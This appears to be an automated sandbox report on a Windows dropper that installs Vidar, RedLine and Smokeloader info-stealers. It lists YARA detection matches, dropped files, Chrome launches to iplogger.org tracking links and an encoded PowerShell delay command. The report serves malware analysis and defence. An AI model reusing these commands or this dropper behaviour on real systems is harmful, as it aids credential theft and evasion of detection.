Source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 1.3.em1B8DcC72.exe.2a85a14.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 21.0.real.exe.1030000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000010.00000002.511481552.0000000000738000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000017.00000000.381266981.0000000000C32000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: 0000001E.00000003.445373628.00000000022BD000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_MSDOS_Stub_Message date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed MSDOS stub message, score = , reference = https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings
Source: Process Memory Space: real.exe PID: 4664, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: brokerius.exe PID: 5400, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: EU1.exe PID: 1540, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe, type: DROPPED	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe, type: DROPPED	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: C:\Program Files (x86)\Company\NewProduct\real.exe, type: DROPPED	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: String function: 025494ED appears 112 times
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: String function: 00409F79 appears 112 times
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: String function: 004199E0 appears 34 times
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: String function: 00409F79 appears 112 times
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: String function: 0059A1E0 appears 112 times

Source: captain09876.exe.1.dr

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, 567907 bytes, 1 file

Source: em1B8DcC72.exe

Binary or memory string: OriginalFilename vs em1B8DcC72.exe

Source: ordo_sec666.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DllResource.exe.30.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-63043081-1424.pma

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@117/172@14/20

Source: C:\Users\user\Desktop\em1B8DcC72.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\em1B8DcC72.exe

File created: C:\Program Files (x86)\Company

Jump to behavior

Source: em1B8DcC72.exe	Virustotal: Detection: 60%
Source: em1B8DcC72.exe	ReversingLabs: Detection: 56%

Source: C:\Users\user\Desktop\em1B8DcC72.exe

File read: C:\Users\user\Desktop\em1B8DcC72.exe

Jump to behavior

Source: C:\Users\user\Desktop\em1B8DcC72.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\em1B8DcC72.exe "C:\Users\user\Desktop\em1B8DcC72.exe"
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AEmX4
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1ARmX4
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AAmX4
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AFmX4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AGmX4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1808,i,3896296885310030640,3823508835286942682,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AJmX4
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AKmX4
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AZmX4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1784,i,17582887386196209726,11872164080402614177,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AVmX4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1676 --field-trial-handle=1864,i,14791828141535856649,9635454994269298468,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\F0geI.exe "C:\Program Files (x86)\Company\NewProduct\F0geI.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5208 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe "C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe"
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe "C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1620 --field-trial-handle=1836,i,2712633263184333272,1787265188000872962,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\real.exe "C:\Program Files (x86)\Company\NewProduct\real.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1764 --field-trial-handle=1820,i,9522427136226525438,15642075344658028701,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\safert44.exe "C:\Program Files (x86)\Company\NewProduct\safert44.exe"
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\jshainx.exe "C:\Program Files (x86)\Company\NewProduct\jshainx.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1732,i,1947956738124087181,12136632337956308802,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1928 --field-trial-handle=1724,i,11796048362106728651,8580721197028235758,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\brokerius.exe "C:\Program Files (x86)\Company\NewProduct\brokerius.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1816,i,3782769237029675981,13001374734431330952,131072 /prefetch:8
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\captain09876.exe "C:\Program Files (x86)\Company\NewProduct\captain09876.exe"
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe "C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe"
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe "C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe"
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\EU1.exe "C:\Program Files (x86)\Company\NewProduct\EU1.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3348 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4204 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4196 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8
Source: C:\Program Files (x86)\Company\NewProduct\captain09876.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AEmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1ARmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AAmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AFmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AGmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AJmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AKmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AZmX4	Jump to behavior
